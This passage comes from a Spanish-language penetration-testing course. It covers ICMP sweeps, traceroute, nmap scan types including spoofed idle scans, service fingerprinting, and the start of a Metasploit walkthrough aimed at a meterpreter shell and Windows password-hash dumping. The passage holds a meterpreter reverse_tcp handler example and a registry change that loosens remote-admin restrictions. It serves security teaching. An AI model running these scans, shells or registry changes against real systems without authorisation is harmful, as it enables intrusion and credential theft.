echo request (8), echo reply (0) Constituyen el mecanismo básico de funcionamiento del conocido comando ping; el emisor envía una solicitud echo y si el receptor está activo y no está configurado para descartar las peticiones, devolverá un mensaje de respuesta echo.



timestamp request (13), timestamp reply (14) La idea original era la de servir de método de sincronización horaria entre el host emisor y el host receptor que contestaría incluyendo en su respuesta distintos timestamps (marca de tiempo de envío, marca de tiempo de recepción y marca de tiempo de transmisión).



address mask request (17), address mask reply (18) En su forma estándar el host emisor envía una solicitud address mask a la dirección de broadcast para la red objetivo y si en la red hay un servidor autorizado éste le contestaría con un mensaje address mask reply conteniendo la máscara de red.

Aprovechando esta funcionalidad la idea es realizar barridos mediante cualquier de los mensajes ICMP anteriores para determinar que máquinas están activas y por lo tanto constituyen posibles objetivos. Hay que tener en cuenta que en la actualidad la mayoría de routers están configurados para ignorar las peticiones ICMP, por lo que si un host no contesta eso no significa que no exista. TIP: Aunque las peticiones ICMP echo estén deshabilitadas muchas veces el resto de peticiones ICMP no lo están; lo mejor es probar con otras si echo request no funciona.

32

http://es.wikipedia.org/wiki/FQDN http://plushs.sourceforge.net/ 34 http://nmap.org/ 33

26

Fping (faster ping) Se trata de una versión mejorada de la utilidad ping, incluida de serie en casi todas las distribuciones Linux, que permite realizar peticiones ICMP echo en paralelo; de esta forma se aumenta notablemente la velocidad ya que, en lugar de bloquearse esperando la respuestas, continua enviando peticiones y procesándolas conforme le van llegando. Sitio oficial: Manual:

http://fping.org/ http://fping.org/fping.1.html

Nmap (Network mapper) Ya hablaremos más adelante de las capacidades básicas de escaneo de esta auténtica navaja suiza en cuanto a funcionalidades se refiere, pero ahora nos centraremos en la posibilidad de utilizarla para realizar barridos ICMP de tipo echo, opción -PE, de tipo timestamp, opción -PP y de tipo address mask, opción -PM. En la web oficial hay disponible para descarga una versión tanto para sistemas operativos Linux como para sistemas operativos Windows. Sitio oficial: Manual:

http://nmap.org http://nmap.org/book/man-host-discovery.html#idm245543188672

Nping (Network packet generation tool/ping utility) Utilidad incluida con la suite nmap que permite generar paquetes TCP, UDP, ICMP y ARP con unas determinadas características indicadas como parámetros del comando. La suite completa disponible en la web de nmap incluye una versión compilada para sistemas operativos Windows. Sitio oficial: Manual:

http://nmap.org/nping/ http://nmap.org/book/nping-man.html

Hping3 Potente utilidad de línea de comandos que permite generar paquetes TCP, UDP e ICMP prácticamente desde cero así como analizar las respuestas obtenidas. Algunas de sus capacidades incluyen: comprobación de reglas de filtrado, escaneo de puertos avanzado, comprobación del rendimiento de la red, auditoría de la pila de protocolos TCP/IP, trazado de ruta mediante distintos protocolos, etc. Sitio oficial: Manual:

http://www.hping.org/ http://linux.die.net/man/8/hping3

3.4. Elaboración de un diagrama de red El objetivo de esta fase es la de obtener un mapa de la ruta desde nuestra ubicación hasta la red o máquinas objetivos permitiéndonos determinar si existe algún tipo de filtrado de paquetes y las máquinas y/o dispositivos encargadas del proceso.

27

El programa utilizado para esta tarea es el comando traceroute en sistemas *NIX y su homólogo tracert35 para sistemas Windows. Su funcionamiento se basa en el uso del valor de tiempo de vida (TTL)36 de los paquetes de red y los mensajes de error ICMP y permite determinar la ruta que sigue un paquete desde su origen hasta el host especificado como destino, enumerando todos los saltos intermedios encontrados en el camino. Para ello primero envía un paquete con un TTL igual a 1, de forma que una vez alcanza el primer router (= salto) éste disminuiría en una unidad su TTL pasando a ser cero, por lo que devolvería un mensaje ICMP de error “Time exceded”37 y lo descartaría. A continuación envía un paquete con un TTL igual a 2, que sortearía el primer salto disminuyendo su TTL en 1, y que al alcanzar el segundo router y volver a disminuir su TTL sería nuevamente descartado devolviendo el correspondiente mensaje ICMP de “Time exceded”. El proceso seguiría de forma indefinida hasta alcanzar el destino establecido o llegar al número máximo de saltos configurados. Como resultado irá apareciendo por pantalla información de cada router (= salto detectado) y los tiempos de respuesta, que por defecto aparecen triplicados (cada paquete se envía 3 veces de forma predeterminada). El comando tracert de Windows sólo permite el envío de solicitudes Echo ICMP mientras que el comando traceroute de Linux envía por defecto paquetes UDP aunque también puede utilizar ICMP mediante el flag –I. En la actualidad la mayoría de routers y dispositivos de filtrado bloquean los paquetes UDP y/o ICMP enviados por el comando traceroute original agotando el tiempo de espera configurado para cada respuesta haciendo fallar el proceso de identificación de ruta. Ejemplo: C:\Users\jgarcia>tracert -d www.boe.es Traza a la dirección www.boe.es [81.89.32.200] sobre un máximo de 30 saltos: 1 2 3 4 5 6 7 8 9 10 11 12 [snip]

16 20 9 9 35 24 25 31 16 15 * *

ms ms ms ms ms ms ms ms ms ms

2 9 7 11 40 21 17 25 19 15 * *

ms ms ms ms ms ms ms ms ms ms

20 8 12 9 14 13 14 32 14 14 * *

ms ms ms ms ms ms ms ms ms ms

192.168.1.1 10.33.0.1 10.47.242.245 10.254.11.65 10.254.4.6 81.46.8.78 80.58.83.169 80.58.75.65 193.152.60.86 193.152.60.86 Tiempo de espera agotado para esta solicitud. Tiempo de espera agotado para esta solicitud.

La salida del comando anterior se ha recortado pero básicamente se repetiría el mensaje de tiempo de espera agotado hasta el salto número 30 que se corresponde con el número configurado de forma predeterminada. El parámetro –d, utilizado para no recargar la salida, evita que se muestre el nombre DNS correspondiente a cada uno de los hosts detectados.

35

El nombre viene determinado por la limitación de tamaño 8.3 heredada de los tiempos de MS-DOS. http://es.wikipedia.org/wiki/Tiempo_de_vida_%28inform%C3%A1tica%29 37 http://es.wikipedia.org/wiki/Internet_Control_Message_Protocol#Tiempo_Excedido 36

28

Para evitar este problema en la actualidad el comando traceroute de *NIX también permite utilizar TCP, de forma que lo que se simula es un intento de conexión con la máquina destino a un servicio determinado, el servicio www (puerto 80) por defecto: root@pentesting:~# traceroute -T -n www.boe.es traceroute to www.boe.es (81.89.32.200), 30 hops max, 60 byte packets 1 192.168.1.1 0.746 ms 1.013 ms 1.947 ms 2 10.33.0.1 8.251 ms 12.622 ms 13.723 ms 3 10.47.242.245 14.008 ms 14.022 ms 14.830 ms 4 10.47.243.218 32.045 ms 33.227 ms 10.254.11.65 13.704 ms 5 10.47.242.133 14.817 ms 10.47.242.129 15.059 ms 15.084 ms 6 81.46.8.78 26.031 ms 10.254.10.238 30.268 ms 10.254.4.14 32.175 ms 7 81.46.8.74 66.514 ms 21.103 ms 21.712 ms 8 213.0.191.134 20.617 ms 80.58.75.65 27.898 ms 213.0.191.134 23.490 ms 9 193.152.60.86 19.173 ms 213.0.191.134 23.695 ms 23.699 ms 10 213.0.191.134 27.537 ms 193.152.60.86 24.437 ms 16.552 ms 11 81.89.32.200 23.675 ms 193.152.60.86 20.876 ms 81.89.32.200 20.997 ms

En esta ocasión los paquetes enviados no han sido descartados y ha podido llegar hasta su destino final permitiéndonos identificar todos los nodos intermedios. NOTA: La ruta seguida por los paquetes enviados hasta llegar al destino puede variar parar distintas ejecuciones del comando ya que, en la mayoría de los casos, los encaminadores intermedios la establecen de forma dinámica en base a condiciones de congestión de la red u optimización de recursos.

Las siguientes herramientas permiten realizar trazados de ruta desde Windows utilizando los distintos protocolos disponibles: 

UDP Traceroute http://dice.neko-san.net/udptrace/



tracetcp http://simulatedsimian.github.io/tracetcp.html

Por último la siguiente aplicación permite realizar trazados de ruta de forma online mediante una sencilla interfaz o realizando llamadas a la API: 

Online traceroute MTR http://hackertarget.com/ip-trace/

29

Módulo 4: Identificación de vulnerabilidades 4.1. Objetivos Ahora que tenemos una lista de máquinas sobre las que enfocar nuestros ataques llega el momento de enumerar los servicios ofrecidos para identificar posibles vulnerabilidades en cada uno de ellos. Esta fase implica numerosas conexiones activas con las máquinas analizadas por lo que generará mucho “ruido” haciendo saltar las alertas en los sistemas de control de acceso o filtros de paquetes instalados delante de nuestro objetivo.

4.2. Escaneo de puertos Este proceso implica establecer conexiones activas con las máquinas objetivo identificadas en fases anteriores para determinar los servicios que éstas ofrecen así como, en la medida de lo posible, el sistema operativo y software/versiones de las aplicaciones detrás de estos servicios.

4.2.1. Conceptos básicos Para poder establecer una conexión TCP entre dos máquinas primero tiene lugar lo que se conoce como TCP three-way handshake. Este proceso, compuesto de tres fases, permite establecer un circuito virtual entre dos extremos de una conexión para permitir el intercambio de datos: ORIGEN

SYN - Seq. Num: x

DESTINO

SYN + ACK - Seq Num: y, ACK Num: x+1 ACK - Seq Num: x+1, ACK Num: y+1

Diagrama 3: Proceso de inicio de una conexión TCP

El host origen envía un paquete con el flag SYN activado, indicando que desea iniciar un proceso de sincronización, y con un número de secuencia aleatorio. El host destino contesta enviando un paquete con los flags SYN+ACK activos, indicando que se trata de una respuesta a un inicio de sincronización, con un número de secuencia aleatorio y con un número de secuencia ACK igual al número de secuencia recibido incrementado en una unidad. Por último el host origen envía un paquete con el flag ACK activo, con el número de secuencia que estableció en su primer paquete incrementado en una unidad y con el número de secuencia ACK igual al número de secuencia recibido incrementado en una unidad. En este momento se ha establecido correctamente la conexión y puede dar inicio el proceso de intercambio de datos.

31

Para dar por finalizada una conexión TCP de forma ordenada se lleva a cabo un proceso similar, pero compuesto en este caso de cuatro fases. ORIGEN

FIN

DESTINO

ACK FIN ACK

Diagrama 4: Proceso de finalización de una conexión TCP

Cualquiera de los dos hosts, en este caso el mismo que solicitó el inicio de la conexión, envía un paquete con el flag FIN activado, indicando su deseo de dar por concluida la comunicación. El otro host responde al paquete anterior con un acuse de recibo, paquete con el flag ACK activado, y envía a su vez un paquete con el flag FIN activado, indicando también que la comunicación puede darse por concluida. Una vez el host que inició el cierre de la comunicación responde el paquete anterior con un acuse de recibo, paquete con el flag ACK activado, puede decirse que la conexión entre los dos hosts se ha finalizado de forma ordenada. Los procesos de establecimiento y cierre de conexión suponen la base del funcionamiento del protocolo TCP, protocolo orientado a conexión, y sutilmente modificados sumados al comportamiento particular de la pila de protocolos en cada sistema operativo nos permitirán realizar distintos tipos de escaneos. Para acceder a un servicio ofrecido por un host remoto se establece una conexión desde un host y puerto de origen hacia un host y puerto de destino. El proceso de escaneo de un host tiene básicamente por objetivo determinar los puertos abiertos en el sistema remoto. Teniendo en cuenta que la mayoría de servicios de red se ponen a escuchar en un puerto determinado esto nos permitirá, en la mayoría de los casos, descubrir los servicios ofrecidos por el sistema objetivo.

4.2.3. Clasificación del estado de los puertos La herramienta más versátil utilizada en el proceso de escaneo de puertos es sin duda nmap38. Desarrollada por Fyodor39. Un puerto TCP/UDP determinado puede estar abierto, en el caso de que exista un servicio a la escucha y éste sea accesible, o cerrado si no hay un servicio a la escucha o el acceso al mismo está vetado por algún tipo de firewall o dispositivo de filtrado; nmap establece seis posibles valores para indicar el estado de un puerto: 

open: en la máquina analizada hay un servicio a la escucha que responde a las peticiones.



closed: se recibe algún tipo de respuesta concreta que indica claramente que no hay

ningún servicio a la escucha. 38 39

http://nmap.org/ http://insecure.org/fyodor/

32



filtered: no se ha recibido ningún tipo de respuesta o de la respuesta (ICMP tipo 3) se

deduce que existe algún tipo de dispositivo de filtrado intermedio. 

unfiltered: durante un tipo de escaneo TCP ACK identifica un puerto al que llegan los

paquetes pero del que no es posible determinar si está open o filtered. 

open|filtered: se obtiene en los escaneos UDP y TCP FIN, NULL y Xmas en los que un

puerto abierto no devuelve ningún paquete pero un dispositivo de filtrado produciría un resultado similar. 

closed|filtered: se obtiene siempre que nmap no sea capaz de determinar

claramente si el puerto se encuentra filtrado o cerrado.

4.2.2. Tipos de escaneos más utilizados a) Escaneo TCP SYN Se trata de un escaneo semiabierto dado que no se realiza un proceso completo de establecimiento de conexión. Una vez enviado un paquete TCP con el flag SYN activado puede suceder que: 

El host objetivo responda con un paquete con los flags SYN+ACK: el puerto analizado se encuentra abierto (open).



El host objetivo responda con un paquete con el flag SYN: esta respuesta no es muy común40 pero también indicaría que el puerto se encuentra abierto (open).



El host objetivo responda con un paquete con el flag RST: el puerto analizado se encuentra cerrado (closed).



El host objetivo no responda o se devuelva un mensaje ICMP de error: existe algún sistema de filtrado de paquetes (filtered).

Este tipo de escaneo es el lanzado por defecto al ejecutar la herramienta nmap si no se le indica explícitamente otro tipo o si se le especifica mediante la opción -sS. En el caso en que el puerto analizado se encuentre abierto el host objetivo se quedará en espera de un paquete ACK para completar el establecimiento de conexión, pero este nunca será enviado. b) Escaneo TCP connect Se trata de un escaneo abierto ya que, en este caso, si se completa el proceso de establecimiento de conexión TCP. La ventaja es que es muy rápido ya que los intentos de conexión se realizan en paralelo pero esto también es una desventaja, dado que es mucho más susceptible de quedar registrado en el sistema objetivo. Las posibles respuestas son las mismas que para el caso anterior; el flag de nmap sería -sT. c) Escaneo UDP Dado que UDP es un protocolo no orientado a conexión, el funcionamiento y características de este tipo de técnica es bastante diferente a las vistas hasta el momento. Cuando se realiza un 40

http://nmap.org/misc/split-handshake.pdf

33

escaneo UDP se envía un único paquete al puerto en la máquina destino dado que no es necesario establecer un circuito virtual previamente al proceso de comunicación. Si el puerto se encuentra abierto no obtendremos ninguna respuesta pero si el puerto está cerrado el host destino responderá devolviendo un mensaje ICMP de tipo 3 (destino inalcanzable), no devolviendo nada o incluso devolviendo un mensaje ICMP distinto si existe algún tipo de dispositivo de filtrado; esto nos permite asegurar por los resultados obtenidos (ICMP de tipo 3) que el puerto se encuentra realmente cerrado, pero no que se encuentre abierto. El estándar establece que se debe moderar la velocidad con la que el host destino informa al host emisor mediante paquetes ICMP del estado de sus puertos, limitando el número de paquetes por minuto ralentizando así el proceso para evitar congestionar la comunicación. Sin embargo, la implementación de la pila TCP/IP incluida en los sistemas Microsoft no atiende a la recomendación por lo que su análisis mediante este tipo de escaneo resulta muy rápido. El flag utilizado para indicarle a nmap este tipo de escaneo es -sU, aunque para este tipo de técnica herramientas como unicornscan41 ofrecen también muy buenos resultados. Un ejemplo de ejecución de esta última sobre el rango de puertos 1 al 1024 sería: # unicornscan -I -E -mU 192.168.190.2:p UDP open 192.168.190.2:53 ttl 128 UDP open domain[ 53]

from 192.168.190.2

ttl 128

La opción -I hace que los resultados se nos muestren inmediatamente por pantalla, -E nos informa de los errores, -mU establece el tipo de escaneo a UDP y la :p justo después de la dirección IP del objetivo establece como puertos a escanear el rango comprendido entre el 1 y el 1024. d) Escaneos TCP NULL, TCP FIN y TCP Xmas Este tipo de escaneos se basan en una particularidad del estándar recogida en el RFC 793 (página 65)42 según la cual un intento de conexión a un puerto cerrado mediante un paquete que no tenga activo el flag RST provocará como respuesta un paquete con el flag RST, mientras que si el puerto está abierto no se devolverá respuesta alguna. La opción utilizada con nmap para ejecutar un escaneo TCP NULL es -sN y los paquetes enviados no tendrán activo ninguno de los flags de TCP. La opción utilizada con nmap para ejecutar un escaneo TCP FIN es -sF y los paquetes enviados sólo tendrán activo el flag FIN. La opción utilizada con nmap para ejecutar un escaneo TCP Xmas es -sX y los paquetes enviados tendrán activos los flags FIN, PSH y URG. Los tipos FIN y Xmas pueden pasar desapercibidos para determinadas configuraciones de IDSs y son recomendables en las ocasiones en que el escaneo FIN no sea factible. Como punto en común y principal inconveniente está la implementación del estándar que hacen los diferentes sistemas operativos; por ejemplo, un sistema Windows escaneado 41 42

http://www.unicornscan.org/ https://tools.ietf.org/html/rfc793#page-65

34

utilizando cualquiera de las técnicas descritas (NULL, FIN o Xmas) responderá como si tuviera todos sus puertos abiertos. e) Escaneo TCP ACK Se utiliza principalmente para determinar las reglas aplicadas por un posible dispositivo de filtrado interpuesto entre nosotros y la máquina objetivo, sirviendo también como apoyo para los tipos de escaneo silenciosos (FIN, NULL y Xmas) a fin de complementar los resultados obtenidos. Este tipo de escaneo no permitirá asegurar que cualquiera de los puertos analizados esté abierto, sino si realmente está cerrado (recibimos como respuesta un paquete con el flag RST activo) o filtrado (recibimos como respuesta un paquete ICMP de “destino inalcanzable”). Obviamente para que los resultados sean útiles deberemos asegurarnos previamente de que el host analizado esté realmente activo. Su funcionamiento se basa en el envío de paquetes con el flag ACK activado y con números de secuencia aleatorios. Muchos dispositivos de filtrado que bloqueen los intentos de conexión (paquetes con el flag SYN) dejarán pasar estos paquetes al pensar que corresponden a una comunicación previamente establecida. La opción utilizada con nmap para ejecutar este tipo de escaneo es -sA. f) Escaneo Idle Este tipo de escaneo fue planteado por primera vez43 por Antirez, Salvatore SanFilippo programador italiano creador de la herramienta hping, y posteriormente añadido a la batería de técnicas disponibles con nmap. El concepto se basa en la intervención de 3 hosts durante el proceso de escaneo:

  

El host atacante, encargado de ejecutar el proceso. El host zombi, un elemento pasivo dado que participa en el proceso sin saberlo. El host atacado, que sería el objetivo del proceso de escaneo.

El proceso aparece resumido en el siguiente diagrama: Host Zombi

Paso 1 Paso 3 Paso 4

Paso 2

Host Atacante

Host Atacado

Diagrama 5: Fases de un escaneo Idle 43

http://www.kyuzz.org/antirez/papers/dumbscan.html

35

Suponiendo que ya tenemos identificado un host con poco tráfico que utilizaremos como zombi: 

Paso 1: enviamos paquetes al host zombi y analizamos las respuestas para identificar los incrementos en los números de secuencia asignados (deben ser constantes y no aleatorios).



Paso 2: lanzamos el proceso de escaneo TCP SYN contra el host objetivo falsificando la dirección de origen de forma que apunte al host zombi.



Paso 3: el host atacado devuelve las respuestas RST al host zombi en el caso de que el puerto esté abierto y no devuelve nada en el caso de que el puerto esté cerrado.



Paso 4: cuando el host zombi reciba algún paquete por parte del host escaneado observaremos una variación del incremento de los números de secuencia.

La opción utilizada con nmap para ejecutar este tipo de escaneo es –sI.

4.2.3. Identificación del sistema operativo Este proceso nos permitirá identificar de forma aproximada el sistema operativo de la máquina o dispositivo objetivo teniendo para ello en cuenta los puertos abiertos y/o las características de la pila TCP/IP detectadas en los paquetes recibidos. La identificación del sistema operativo del objetivo resultará crucial a la hora de determinar las posibles vulnerabilidades y los ataques posteriores ya que, lógicamente, no se utilizarán las mismas técnicas para atacar un sistema *NIX que un sistema Windows. Esta detección puede ser activa, o lo que es lo mismo, requerir el envío de una serie de paquetes especiales para forzar la obtención de repuestas y poder así analizar sus resultados. Ejemplo utilizando nmap: C:\nmap-6.47>nmap.exe -O -sS 192.168.1.6 Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-20 11:36 Hora estándar romance Nmap scan report for 192.168.1.6 Host is up (0.00094s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 5666/tcp open nrpe MAC Address: 90:1B:0E:16:E7:FD (Fujitsu Technology Solutions GmbH) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.10 Network Distance: 1 hop OS detection performed. Please report any incorrect http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.31 seconds

results

at

Otra alternativa es la de realizar el proceso de forma pasiva utilizando, por ejemplo, una herramienta como p0f44, que permanecerá a la escucha registrando todas las conexiones. 44

http://lcamtuf.coredump.cx/p0f3/

36

4.2.4. Identificación del software y sus versiones Otro aspecto interesante que nos ayudará en las fases posteriores del ataque es el de identificar la versión y el software encargado de ofrecer cada uno de los servicios asignados a los puertos enumerados. Esta técnica, que también se conoce como banner grabbing45 se basa en el hecho de que la mayoría de servicios devolverá un mensaje incluyendo su nombre y número de versión ante un intento de conexión; también resulta útil para confirmar el tipo de servicio dado que es posible que, pese a que la mayoría escuchan en un puerto predeterminado, éste haya sido modificado para evadir su detección o simplemente por motivos técnicos. Ejemplo utilizando la herramienta ncat incluida con la suite de nmap para conectar a un servidor SMTP: C:\nmap-6.47>ncat.exe 192.168.1.7 25 220 correo.dominio.local ESMTP Postfix (2.9.6)

Ejemplo utilizando la herramienta nmap para determinar las versiones de los puertos abiertos detectados en una fase anterior: C:\nmap-6.47>nmap.exe -sV -p 22,25,80,139,445 192.168.1.7 Starting Nmap 6.47 ( http://nmap.org ) at 2014-11-20 13:25 Hora estándar romance Nmap scan report for 192.168.1.7 Host is up (0.0049s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.2.22 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) MAC Address: 90:1B:0E:16:E7:FD (Fujitsu Technology Solutions GmbH) Service Info: Host: correo.dominio.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.81 seconds

NOTA: la mayoría del software en la actualidad ofrece la posibilidad no sólo de ocultar la información concreta de números de versión sino incluso falsear totalmente los datos devueltos.

4.3. Búsqueda en bases de datos de vulnerabilidades Una vez identificadas las versiones del software presente en el sistema objetivo buscaremos posibles vulnerabilidades asociadas y que hayan sido publicadas. Para ello podemos utilizar cualquiera de las múltiples bases de datos disponibles en Internet:  

45

The Exploit Database SecurityFocus

 http://www.exploit-db.com/  http://www.securityfocus.com/vulnerabilities

http://en.wikipedia.org/wiki/Banner_grabbing

37

 

Inj3ct0r Database RAPID7

 http://1337day.com/  http://www.rapid7.com/db/modules/

En ocasiones encontraremos información detallada de como explotar manualmente la vulnerabilidad o incluso pequeñas herramientas para automatizar el proceso de explotación.

4.4. Escaneo activo de vulnerabilidades Existen diversos programas cuya funcionalidad básica es la de identificar potenciales vulnerabilidades en los sistemas analizados. Para ello cuentan con un sistema de escaneo de puertos y una base de datos de vulnerabilidades con pruebas específicas para cada una de ellas que permiten determinar e incluso en ocasiones llegar a explotar los fallos encontrados. Su funcionamiento básico pasa por crear un perfil para el proceso de escaneo, el cual incluiría los tipos de vulnerabilidades y características del objetivo, definir unos objetivos lanzando el programa contra ellos y, por último, revisar el informe de resultados obtenidos. Entre los escáneres de vulnerabilidades genéricos más utilizados estarían Nessus46 (comercial) y OpenVAS47 (open source).

4.5. Técnicas avanzadas Las técnicas incluidas en esta sección nos permitirán, utilizando herramientas para automatizar el proceso, descubrir nuevas vulnerabilidades en las aplicaciones que deseamos auditar.

4.5.1. Análisis estático de código Esta técnica requiere disponer del código fuente para el programa o servicio auditado, por lo que generalmente la utilizaremos con aplicaciones open source. Su funcionamiento se basa en la existencia de funciones, métodos o determinada lógica de programación que constituyen posibles fallos y por lo tanto pueden dar lugar a una o varias vulnerabilidades. Pese a que el proceso de búsqueda se realiza de forma automática utilizando programas desarrollados a tal efecto, se requiere un análisis manual para cada uno de los fallos reportados a fin de descartar aquellos que puedan constituir falsos positivos. Clang Static Analyzer Herramienta de análisis de código fuente que permite encontrar fallos en programas desarrollados en C, C++ y Objective-C. http://clang-analyzer.llvm.org/ VisualCodeGrepper Aplicación para revisar la seguridad del código fuente de programas desarrollados en C, C++, C#, Visual Basic, PHP, Java y PL/SQL. http://sourceforge.net/projects/visualcodegrepp/ 46 47

http://www.tenable.com/products/nessus/nessus-vulnerability-scanner http://www.openvas.org/

38

FindBugs Programa que realiza un análisis estático del código fuente de aplicaciones escritas en Java para encontrar fallos, incluyendo aquellos relacionados con problemas de seguridad. http://findbugs.sourceforge.net/ Codesake::Dawn Es un escáner de código fuente diseñado para buscar fallos de seguridad principalmente en aplicaciones web desarrolladas mediante Ruby utilizando frameworks como Ruby on Rails, Sinatra o Padrino. http://dawn.codesake.com/ RIPS Aplicación web escrita en PHP que permite analizar el código fuente de otras aplicaciones escritas también en PHP para detectar y reportar posibles fallos de seguridad en el código fuente. http://rips-scanner.sourceforge.net/

4.5.2. Técnicas de fuzzing

39

Módulo 5: Explotación de vulnerabilidades 5.1. Objetivos Ya hemos obtenido un listado de objetivos, hemos enumerado los servicios que ofrecen, incluyendo sus versiones, y posiblemente también hayamos identificado vulnerabilidades potenciales. Ha llegado el momento de aprovecharnos de dichas vulnerabilidades para comprometer los sistemas subyacentes.

5.2. Metasploit 5.2.1. Introducción a Metasploit Framework Particularmente definiremos Metasploit Framework como un conjunto de herramientas integradas que, interactuando unas con otras, permiten cubrir todas las fases de que se compone un test de penetración. No obstante, y siguiendo con la lógica planteada a lo largo del presente texto, nos serviremos de él básicamente como herramienta de explotación de las vulnerabilidades encontradas en las fases anteriores. Actualmente pertenece a la compañía Rapid748, la cual ofrece una versión gratuita, Metasploit Community Edition, y una versión comercial, Metasploit Pro. Desde la web49 puede descargarse, previo registro, la versión Community y una versión trial de la versión Pro. Ambas versiones nos ofrecen una interfaz web que se comunica mediante RPC con el framework. Nosotros nos centraremos directamente en este último, con el cual es posible interactuar mediante cualquiera de las siguientes opciones: 

msfcli: se trata de una herramienta de línea de comandos indicada para su uso en scripts.

# msfcli -h Usage: /opt/metasploit/apps/pro/msf3/msfcli [mode] ============================================================================= Mode ---(A)dvanced (AC)tions (C)heck (E)xecute (H)elp (I)DS Evasion (M)issing (O)ptions (P)ayloads (S)ummary (T)argets

Description ----------Show available advanced options for this module Show available actions for this module Run the check routine of the selected module Execute the selected module You're looking at it baby! Show available ids evasion options for this module Show empty required options for this module Show available options for this module Show available payloads for this module Show information about this module Show available targets for this exploit module

Examples: msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

48 49

http://www.rapid7.com/ http://www.metasploit.com/

41



msfconsole: la opción más potente, se trata de una herramienta de línea de comandos que permite lanzar una consola interactiva.

# msfconsole [*] Starting the Metasploit Framework console...# cowsay++ ____________ < metasploit > -----------\ ,__, \ (oo)____ (__) )\ ||--|| * Easy phishing: Set up email templates, landing pages and listeners in Metasploit Pro -- learn more on http://rapid7.com/metasploit =[ metasploit v4.10.2-2014111901 [core:4.10.2.pre.2014111901 api:1.0.0]] + -- --=[ 1380 exploits - 850 auxiliary - 233 post ] + -- --=[ 340 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >



armitage50: interfaz gráfica disponible de forma gratuita (la versión comercial se denomina Cobalt Strike51); interactúa con el framework mediante RPC.

Captura 11: Ejecutando metasploit framework mediante la interfaz gráfica Armitage

50 51

http://www.fastandeasyhacking.com/ http://www.advancedpentest.com/

42

5.2.3. Ejemplo de uso Vamos a completar un ejemplo utilizando metasploit framework para obtener una shell de meterpreter en un sistema Windows 7, del cual hemos obtenido previamente unas credenciales de uso, para volcar a continuación los hashes de las contraseñas de todos los usuarios definidos en el sistema. NOTA: para que el ejemplo funcione correctamente deberemos acceder mediante regedit a la clave HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System donde crearemos un nuevo valor DWORD (32-bit) de nombre LocalAccountTokenFilterPolicy establecido a 1. Más información en PSExec Working in Harmony52.

En primer lugar nos aseguraremos de iniciar el servidor de bases de datos postgresql53, que es el utilizado por metasploit para almacenar los distintos valores. Seguidamente lanzaremos la interfaz de metasploit framework: root@kali:~# service postgresql start [ ok ] Starting PostgreSQL 9.1 database server: main. root@kali:~# msfconsole [*] Starting the Metasploit Framework console...| , , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| Save 45% of your time on large engagements with Metasploit Pro Learn more on http://rapid7.com/metasploit =[ metasploit v4.10.2-2014120301 [core:4.10.2.pre.2014120301 api:1.0.0]] + -- --=[ 1373 exploits - 767 auxiliary - 221 post ] + -- --=[ 340 payloads - 37 encoders - 8 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >

Añadiremos ahora un nuevo workspace54 de forma que se creará una nueva base de datos para almacenar toda la información relevante obtenida durante la sesión; previa y posteriormente listaremos los workspace existentes para identificar cuál de ellos está definido como el predeterminado: msf > workspace * default msf > workspace -a cursohacking [*] Added workspace: cursohacking msf > workspace default * cursohacking

52

http://www.rebootuser.com/?p=1268 http://www.postgresql.org/ 54 http://www.offensive-security.com/metasploit-unleashed/Using_the_Database#Workspaces 53

43

Utilizaremos ahora un módulo auxiliar para identificar los sistemas Windows que haya en la red local. Para ello primero lo seleccionaremos (use), listaremos sus opciones para identificar cuáles deben ser configuradas (show options) y por último estableceremos los valores oportunos (set) lanzando a continuación el proceso (run): msf > use auxiliary/scanner/smb/smb2 msf auxiliary(smb2) > show options Module options (auxiliary/scanner/smb/smb2): Name ---RHOSTS identifier RPORT THREADS

Current Setting ---------------

Required -------yes

Description ----------The target address range or CIDR

445 1

yes yes

The target port The number of concurrent threads

msf auxiliary(smb2) > set RHOSTS 192.168.0.0/24 RHOSTS => 192.168.0.0/24 msf auxiliary(smb2) > set THREADS 20 THREADS => 20 msf auxiliary(smb2) > run [*] Scanned 37 of 256 hosts (14% complete) [*] Scanned 57 of 256 hosts (22% complete) [*] Scanned 77 of 256 hosts (30% complete) [*] 192.168.0.91 supports SMB 2 [dialect 255.2] and has been online for 59 hours [*] Scanned 105 of 256 hosts (41% complete) [*] Scanned 128 of 256 hosts (50% complete) [*] Scanned 155 of 256 hosts (60% complete) [*] Scanned 181 of 256 hosts (70% complete) [*] 192.168.0.211 supports SMB 2 [dialect 255.2] and has been online for 0 hours [*] Scanned 205 of 256 hosts (80% complete) [*] Scanned 231 of 256 hosts (90% complete) [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(smb2) >

Todos los valores relevantes obtenidos durante la sesión serán almacenados por metasploit de forma automática en una base de datos asociada al workspace en el que estemos trabajando, de forma que, por ejemplo, podremos listar los hosts identificados hasta el momento utilizando el siguiente comando: msf auxiliary(smb2) > hosts Hosts ===== address ------192.168.0.91 192.168.0.211

mac ---

name ----

os_name ------Unknown Unknown

os_flavor ---------

os_sp -----

purpose ------device device

info ----

comments --------

msf auxiliary(smb2) >

Para obtener el listado completo de los comandos asociados a la interacción con la base de datos ejecutaremos: msf auxiliary(smb2) > ? database

44

